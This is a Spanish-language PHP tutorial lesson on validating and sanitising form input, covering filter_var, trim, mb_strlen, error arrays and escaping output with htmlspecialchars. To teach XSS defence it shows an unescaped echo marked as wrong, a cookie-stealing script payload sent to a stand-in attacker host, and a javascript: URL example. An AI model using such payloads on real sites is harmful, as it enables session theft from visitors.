Saltar al contenido
validar-formularios.php · devschool

Validar y sanear formularios en PHP

Lección 15 de 26 · 11 min de lectura · Actualizado el

En esta lección
  1. Validar y sanear no son lo mismo
  2. La validación del navegador no basta
  3. Quitar espacios con trim
  4. filter_var: validar formatos comunes
  5. Longitudes, listas cerradas y patrones
  6. Un array de errores, uno por campo
  7. Mostrar los errores junto al campo
  8. Escapar al imprimir: htmlspecialchars y XSS
  9. Errores frecuentes
  10. Resumen

En la lección anterior recibiste datos con $_GET y $_POST. Ahora viene la regla de oro de la programación web: todo lo que llega del usuario puede estar mal, por despiste o a propósito. En esta lección aprenderás a comprobar cada dato antes de usarlo, a mostrar los errores junto al campo correspondiente y a imprimir los datos sin abrir la puerta a ataques.

Validar y sanear no son lo mismo

Son dos tareas distintas que a menudo se confunden:

  • Validar es comprobar si un dato cumple las reglas y, si no, rechazarlo con un mensaje. “El email no tiene un formato válido”, “la edad debe estar entre 16 y 99”.
  • Sanear (o limpiar) es transformar el dato para quitarle lo que sobra o lo que podría ser peligroso: quitar espacios, convertir a número, escapar caracteres especiales.

En la práctica se combinan en este orden: primero limpias lo básico (por ejemplo, los espacios de los extremos), luego validas, y al final, en el momento de mostrar el dato, lo escapas para el lugar donde lo vas a poner (HTML, URL, SQL…).

Nota: sanear no sustituye a validar. Si alguien escribe “doce” en el campo edad, convertirlo con (int) te da 0, que no es lo que quería decir. Mejor avisar de que el dato es incorrecto.

La validación del navegador no basta

HTML5 ya valida: required, type="email", min, maxlength, pattern… Lo viste en Validar formularios en HTML. Es muy útil para el usuario, porque le avisa al momento sin recargar. Pero no protege tu servidor:

  • Cualquiera puede borrar el atributo required desde las DevTools.
  • Se puede enviar una petición directamente, sin pasar por tu formulario, con una herramienta como curl:
curl -X POST -d "email=esto-no-es-un-email&edad=-5" https://tuweb.es/registro.php

Esa petición llega a PHP sin que el navegador haya validado nada. Por eso la regla es: la validación en el navegador es por comodidad; la del servidor es la que cuenta. Haz siempre las dos.

Quitar espacios con trim

Muchos errores vienen de un espacio al copiar y pegar. trim() quita espacios, tabuladores y saltos de línea al principio y al final:

<?php
$nombre = trim("   Marta López  \n");
var_dump($nombre);   // string(12) "Marta López"

¿Por qué 12 si “Marta López” tiene 11 caracteres? Porque var_dump cuenta bytes, y en UTF-8 la ó ocupa 2. Ojo con esto al comprobar longitudes; lo verás enseguida.

Aplica trim() a los campos de texto (nombre, email, ciudad), pero no a las contraseñas: un espacio puede ser parte de la contraseña a propósito.

filter_var: validar formatos comunes

PHP trae la función filter_var($valor, $filtro, $opciones) para validar los formatos más habituales sin escribir expresiones regulares. Si el valor es válido, devuelve el valor (ya convertido al tipo correcto); si no, devuelve false.

Emails

<?php
var_dump(filter_var('ana@correo.es', FILTER_VALIDATE_EMAIL));   // string(13) "ana@correo.es"
var_dump(filter_var('ana@correo', FILTER_VALIDATE_EMAIL));      // bool(false)
var_dump(filter_var('ana correo.es', FILTER_VALIDATE_EMAIL));   // bool(false)

Números enteros con rango

FILTER_VALIDATE_INT comprueba que el texto sea un entero y lo convierte a int. Con la opción options puedes exigir un mínimo y un máximo:

<?php
$opciones = ['options' => ['min_range' => 16, 'max_range' => 99]];

var_dump(filter_var('25', FILTER_VALIDATE_INT, $opciones));    // int(25)
var_dump(filter_var('12', FILTER_VALIDATE_INT, $opciones));    // bool(false)
var_dump(filter_var('25.5', FILTER_VALIDATE_INT, $opciones));  // bool(false)
var_dump(filter_var('veinte', FILTER_VALIDATE_INT, $opciones));// bool(false)
var_dump(filter_var('0', FILTER_VALIDATE_INT));                // int(0)

Cuidado con el último caso: 0 es un resultado válido, pero en un if se comporta como falso. Compara siempre con === false:

<?php
$edad = filter_var($_POST['edad'] ?? '', FILTER_VALIDATE_INT);
if ($edad === false) {
    echo 'La edad debe ser un número entero';
}

Otros filtros útiles

FiltroValidaEjemplo válido
FILTER_VALIDATE_EMAILEmail'luis@gym.es'
FILTER_VALIDATE_INTEntero (con min_range, max_range)'42' → 42
FILTER_VALIDATE_FLOATDecimal con punto'19.95' → 19.95
FILTER_VALIDATE_URLURL completa'https://devschool.es'
FILTER_VALIDATE_BOOLSí/no ('1', 'on', 'yes', 'true'…)'on' → true
FILTER_VALIDATE_IPDirección IP'192.168.1.10'

FILTER_VALIDATE_FLOAT espera punto decimal. Si tus usuarios escriben 19,95, cambia la coma por punto antes: str_replace(',', '.', $precio).

Cuidado: que FILTER_VALIDATE_URL acepte una dirección no la hace segura: acepta cualquier esquema, como ftp:// o incluso javascript://comentario%0Aalert(1), que en un enlace ejecutaría código. Si vas a usarla en un href, comprueba además que empiece por https:// o http://.

Longitudes, listas cerradas y patrones

No todo se resuelve con filter_var. Las otras comprobaciones típicas son tres.

Longitud. Usa mb_strlen(), que cuenta caracteres, en lugar de strlen(), que cuenta bytes y se equivoca con tildes y eñes:

<?php
$usuario = 'Begoña';
echo strlen($usuario), "\n";     // 7
echo mb_strlen($usuario), "\n";  // 6

Valores de una lista cerrada (un select, un grupo de radio). Comprueba que lo que llega está entre las opciones permitidas con in_array(..., true) o array_key_exists(), como hiciste en Formularios GET y POST.

Formatos propios con expresiones regulares y preg_match(), que devuelve 1 si el texto encaja y 0 si no. Por ejemplo, un código postal español son 5 dígitos:

<?php
echo preg_match('/^\d{5}$/', '39600'), "\n";   // 1
echo preg_match('/^\d{5}$/', '3960'), "\n";    // 0

Las fechas se validan mejor con DateTime::createFromFormat() que con expresiones regulares; lo tienes en Fechas.

Un array de errores, uno por campo

La forma más ordenada de validar un formulario es guardar los errores en un array asociativo cuya clave es el nombre del campo. Si al final el array está vacío, todo es correcto. Así puedes mostrar cada mensaje justo al lado de su campo.

Este es el procesamiento del formulario de alta de un gimnasio. Lo escribimos como una función para poder probarla sin servidor:

<?php
function validarAlta(array $datos): array
{
    $errores = [];

    $nombre = trim($datos['nombre'] ?? '');
    if ($nombre === '') {
        $errores['nombre'] = 'Escribe tu nombre.';
    } elseif (mb_strlen($nombre) > 60) {
        $errores['nombre'] = 'El nombre no puede pasar de 60 caracteres.';
    }

    $email = trim($datos['email'] ?? '');
    if (filter_var($email, FILTER_VALIDATE_EMAIL) === false) {
        $errores['email'] = 'El email no es válido.';
    }

    $edad = filter_var($datos['edad'] ?? '', FILTER_VALIDATE_INT,
        ['options' => ['min_range' => 16, 'max_range' => 99]]);
    if ($edad === false) {
        $errores['edad'] = 'La edad debe ser un número entre 16 y 99.';
    }

    $tarifas = ['mensual', 'trimestral', 'anual'];
    if (!in_array($datos['tarifa'] ?? '', $tarifas, true)) {
        $errores['tarifa'] = 'Elige una tarifa.';
    }

    return $errores;
}

print_r(validarAlta(['nombre' => ' Iker ', 'email' => 'iker@correo', 'edad' => '15', 'tarifa' => 'anual']));
// Array
// (
//     [email] => El email no es válido.
//     [edad] => La edad debe ser un número entre 16 y 99.
// )

var_dump(validarAlta(['nombre' => 'Iker', 'email' => 'iker@correo.es', 'edad' => '30', 'tarifa' => 'anual']));
// array(0) {
// }

Un array vacío se comporta como false en un if, así que el flujo del formulario queda así:

<?php
$errores = [];
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $errores = validarAlta($_POST);
    if (!$errores) {
        // Todo correcto: guardar y redirigir (patrón PRG)
        header('Location: bienvenida.php', true, 303);
        exit;
    }
}

Mostrar los errores junto al campo

En el HTML, debajo de cada campo comprobamos si existe su error. También añadimos aria-invalid y aria-describedby para que los lectores de pantalla anuncien el mensaje, y repintamos el valor que había escrito el usuario:

<?php $email = $_POST['email'] ?? ''; ?>
<label for="email">Email</label>
<input type="email" id="email" name="email"
       value="<?= htmlspecialchars($email) ?>"
       <?php if (isset($errores['email'])): ?>aria-invalid="true" aria-describedby="error-email"<?php endif; ?>>
<?php if (isset($errores['email'])): ?>
  <p class="error" id="error-email"><?= htmlspecialchars($errores['email']) ?></p>
<?php endif; ?>

Como esto se repite para cada campo, conviene una pequeña función que imprima el mensaje si existe:

<?php
function mostrarError(array $errores, string $campo): string
{
    if (!isset($errores[$campo])) {
        return '';
    }
    return '<p class="error" id="error-' . $campo . '">' . htmlspecialchars($errores[$campo]) . '</p>';
}

echo mostrarError(['edad' => 'La edad debe ser un número entre 16 y 99.'], 'edad');
// <p class="error" id="error-edad">La edad debe ser un número entre 16 y 99.</p>

Consejo: muestra también un resumen arriba del formulario (“Hay 2 errores en el formulario”) si es largo. Así el usuario sabe que tiene que revisar aunque el error quede fuera de la pantalla.

Escapar al imprimir: htmlspecialchars y XSS

Hay un último paso que no tiene que ver con si el dato es válido, sino con dónde lo pones. Imagina un libro de visitas que muestra los comentarios así:

<?php
$comentario = $_POST['comentario'] ?? '';
echo "<p>$comentario</p>";   // MAL: imprime el texto tal cual

Un visitante malintencionado escribe como comentario:

<script>fetch('https://atacante.example/robar?c=' + document.cookie)</script>

Tu página imprime esa etiqueta <script> dentro del HTML y el navegador de cada persona que visite la página la ejecuta. El atacante puede robar cookies de sesión, cambiar el contenido de la página o redirigir a una web falsa. Este ataque se llama XSS (Cross-Site Scripting) y es de los más comunes en la web.

La defensa es escapar el texto antes de meterlo en el HTML con htmlspecialchars(), que convierte los caracteres especiales en entidades HTML. El navegador las muestra como texto pero no las interpreta como código:

<?php
$comentario = '<script>alert("hola")</script> & más';
echo htmlspecialchars($comentario);
// &lt;script&gt;alert(&quot;hola&quot;)&lt;/script&gt; &amp; más
CarácterSe convierte en
<&lt;
>&gt;
&&amp;
"&quot;
'&#039;

Desde PHP 8.1, htmlspecialchars() escapa por defecto las comillas dobles y simples y usa UTF-8, así que basta con llamarla con un argumento. Si vas a escribirla muchas veces, crea un atajo:

<?php
function e(?string $texto): string
{
    return htmlspecialchars($texto ?? '', ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

echo e('Ruta "Las Xanas" <difícil>');   // Ruta &quot;Las Xanas&quot; &lt;difícil&gt;

Las reglas para no equivocarte:

  • Escapa al imprimir, no al guardar. Guarda el texto original en la base de datos y escápalo cada vez que lo pongas en una página. Si lo guardas escapado, acabarás viendo &amp;amp; cuando lo escapes dos veces.
  • Escapa todo lo que no hayas escrito tú: datos del formulario, de la base de datos, de la URL, de una API, incluso los mensajes de error que incluyen lo que escribió el usuario.
  • Dentro de atributos, usa siempre comillas: value="<?= e($x) ?>". Sin comillas, un espacio bastaría para inyectar otro atributo.
  • En una URL, codifica cada parámetro con urlencode(): <a href="buscar.php?q=<?= urlencode($q) ?>">.

Verás en código antiguo strip_tags() para “limpiar” el HTML. Quita las etiquetas, pero también se come texto legítimo como “3 < 5” y no protege dentro de atributos. Para mostrar texto, htmlspecialchars() es la herramienta correcta. Tienes más sobre XSS y otros ataques en la lección de Seguridad.

Errores frecuentes

  • Validar solo en el navegador: cualquiera puede saltarse required o pattern. Valida siempre también en PHP.
  • if (!filter_var(...)) con números: el 0 es válido pero cuenta como falso. Compara con === false.
  • strlen() para contar caracteres: con tildes o eñes da un número mayor. Usa mb_strlen().
  • Hacer trim() a la contraseña: puedes cambiar la contraseña real del usuario. Déjala tal cual.
  • Imprimir datos sin escapar: abre la puerta al XSS. htmlspecialchars() en todo lo que venga de fuera.
  • Escapar antes de guardar: luego se escapa dos veces y aparecen &amp; en la página. Escapa solo al mostrar.
  • Dar por buena una URL validada: FILTER_VALIDATE_URL acepta esquemas peligrosos como javascript://. Comprueba que empiece por https:// o http://.

Resumen

TareaCódigo
Quitar espacios de los extremostrim($texto)
Validar un emailfilter_var($email, FILTER_VALIDATE_EMAIL)
Validar un entero con rangofilter_var($n, FILTER_VALIDATE_INT, ['options' => ['min_range' => 1, 'max_range' => 10]])
Comprobar el resultado=== false
Contar caracteresmb_strlen($texto)
Valor de una lista cerradain_array($valor, $permitidos, true)
Formato propiopreg_match('/^\d{5}$/', $cp)
Guardar errores$errores['email'] = 'Mensaje';
Escapar para HTMLhtmlspecialchars($texto)
Escapar para una URLurlencode($texto)

Los datos de un formulario se pierden al cambiar de página. Para recordar quién es el usuario mientras navega, necesitas sesiones y cookies.

Pon a prueba lo que has aprendido

[PHP] ¿Qué devuelve este código y por qué es un problema en un if (!...)?
var_dump(filter_var('0', FILTER_VALIDATE_INT));

[PHP] Pones required y pattern en el HTML de tu formulario. ¿Hace falta validar también en PHP?

[PHP] ¿Qué muestra este código?
echo htmlspecialchars('<b>Hi</b> & "yo"');

[PHP] ¿Cuándo se debe aplicar htmlspecialchars a un comentario de un usuario?

¿Te ha quedado claro? Márcala y verás tu progreso en el explorador.